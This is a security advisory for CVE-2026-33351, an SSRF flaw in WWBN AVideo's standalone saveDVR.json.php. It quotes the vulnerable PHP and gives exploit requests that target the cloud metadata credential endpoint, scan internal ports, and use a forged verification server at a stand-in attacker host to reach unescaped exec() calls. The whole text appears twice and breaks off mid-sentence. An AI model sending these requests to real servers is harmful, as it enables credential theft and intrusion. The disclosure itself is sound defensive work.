CVE-2026-33351

WWBN AVideo is an open source video platform. Prior to version 26.0, a Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed. Version 26.0 contains a patch for the issue.

WWBN AVideo is an open source video platform. Prior to version 26.0, a Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed. Version 26.0 contains a patch for the issue.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed.

Affected Component

File: plugin/Live/standAloneFiles/saveDVR.json.php, lines 5-28

$streamerURL = ""; // change it to your streamer URL

$configFile = '../../../videos/configuration.php';
if (file_exists($configFile)) {
    include_once $configFile;
    $streamerURL = $global['webSiteRootURL'];
}

if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
    $streamerURL = $_REQUEST['webSiteRootURL'];   // ATTACKER-CONTROLLED
}

// ...

$verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}";
$result = file_get_contents($verifyURL);           // SSRF

Root Cause

1. User-controlled URL base: When the configuration file does not exist (standalone deployment), $streamerURL is set directly from $_REQUEST['webSiteRootURL'] with no validation.
2. No URL allowlisting or scheme restriction: The value is used as-is in a file_get_contents() call. There is no check for http/https scheme only, no private IP blocking, and no domain allowlist.
3. Verification bypass by design: The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.

Exploitation

Part 1: Basic SSRF (Internal Network Access)

POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded

webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything

The server fetches:

http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything

While the appended path may cause a 404 on the metadata service, the attacker can also use this for:

• Internal port scanning: webSiteRootURL=http://192.168.1.X:PORT/ — differentiate open/closed ports by response time and error messages.
• Internal service access: webSiteRootURL=http://internal-service/ — reach services behind the firewall.
• Cloud metadata access: With URL path manipulation or by hosting a redirect on the attacker server.

Part 2: Verification Bypass + Downstream Command Execution Chain

This is the more severe attack chain:

1. The attacker sets up a server at https://attacker.example.com/ with the path:

   /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php
   

   That returns:

   {"error": false, "response": {"key": "attacker_controlled_value"}}
   

2. The attacker sends:

   POST /plugin/Live/standAloneFiles/saveDVR.json.php
   
   webSiteRootURL=https://attacker.example.com/&saveDVR=anything
   

3. The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.

4. The key value from the response flows into shell commands:

   • Line 55: $DVRFile = "{$hls_path}{$key}"; — used in exec() at line 80 (though escapeshellarg() is applied to the path components)
   • Line 72: $DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8"; — used without escapeshellarg() in:
     • Line 119: exec("echo \"{$endLine}\" >> {$DVRFileTarget}");
     • Line 157: exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y");
     • Line 167: exec("rm -R {$tmpDVRDir}");

   The $key is sanitized at line 47 with `preg_replace("/[^0-9a-z_:-]/i",…

WWBN AVideo is an open source video platform. Prior to version 26.0, a Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed. Version 26.0 contains a patch for the issue.

WWBN AVideo is an open source video platform. Prior to version 26.0, a Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed. Version 26.0 contains a patch for the issue.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed.

Affected Component

File: plugin/Live/standAloneFiles/saveDVR.json.php, lines 5-28

$streamerURL = ""; // change it to your streamer URL

$configFile = '../../../videos/configuration.php';
if (file_exists($configFile)) {
    include_once $configFile;
    $streamerURL = $global['webSiteRootURL'];
}

if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
    $streamerURL = $_REQUEST['webSiteRootURL'];   // ATTACKER-CONTROLLED
}

// ...

$verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}";
$result = file_get_contents($verifyURL);           // SSRF

Root Cause

1. User-controlled URL base: When the configuration file does not exist (standalone deployment), $streamerURL is set directly from $_REQUEST['webSiteRootURL'] with no validation.
2. No URL allowlisting or scheme restriction: The value is used as-is in a file_get_contents() call. There is no check for http/https scheme only, no private IP blocking, and no domain allowlist.
3. Verification bypass by design: The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.

Exploitation

Part 1: Basic SSRF (Internal Network Access)

POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded

webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything

The server fetches:

http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything

While the appended path may cause a 404 on the metadata service, the attacker can also use this for:

• Internal port scanning: webSiteRootURL=http://192.168.1.X:PORT/ — differentiate open/closed ports by response time and error messages.
• Internal service access: webSiteRootURL=http://internal-service/ — reach services behind the firewall.
• Cloud metadata access: With URL path manipulation or by hosting a redirect on the attacker server.

Part 2: Verification Bypass + Downstream Command Execution Chain

This is the more severe attack chain:

1. The attacker sets up a server at https://attacker.example.com/ with the path:

   /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php
   

   That returns:

   {"error": false, "response": {"key": "attacker_controlled_value"}}
   

2. The attacker sends:

   POST /plugin/Live/standAloneFiles/saveDVR.json.php
   
   webSiteRootURL=https://attacker.example.com/&saveDVR=anything
   

3. The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.

4. The key value from the response flows into shell commands:

   • Line 55: $DVRFile = "{$hls_path}{$key}"; — used in exec() at line 80 (though escapeshellarg() is applied to the path components)
   • Line 72: $DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8"; — used without escapeshellarg() in:
     • Line 119: exec("echo \"{$endLine}\" >> {$DVRFileTarget}");
     • Line 157: exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y");
     • Line 167: exec("rm -R {$tmpDVRDir}");

   The $key is sanitized at line 47 with `preg_replace("/[^0-9a-z_:-]/i",…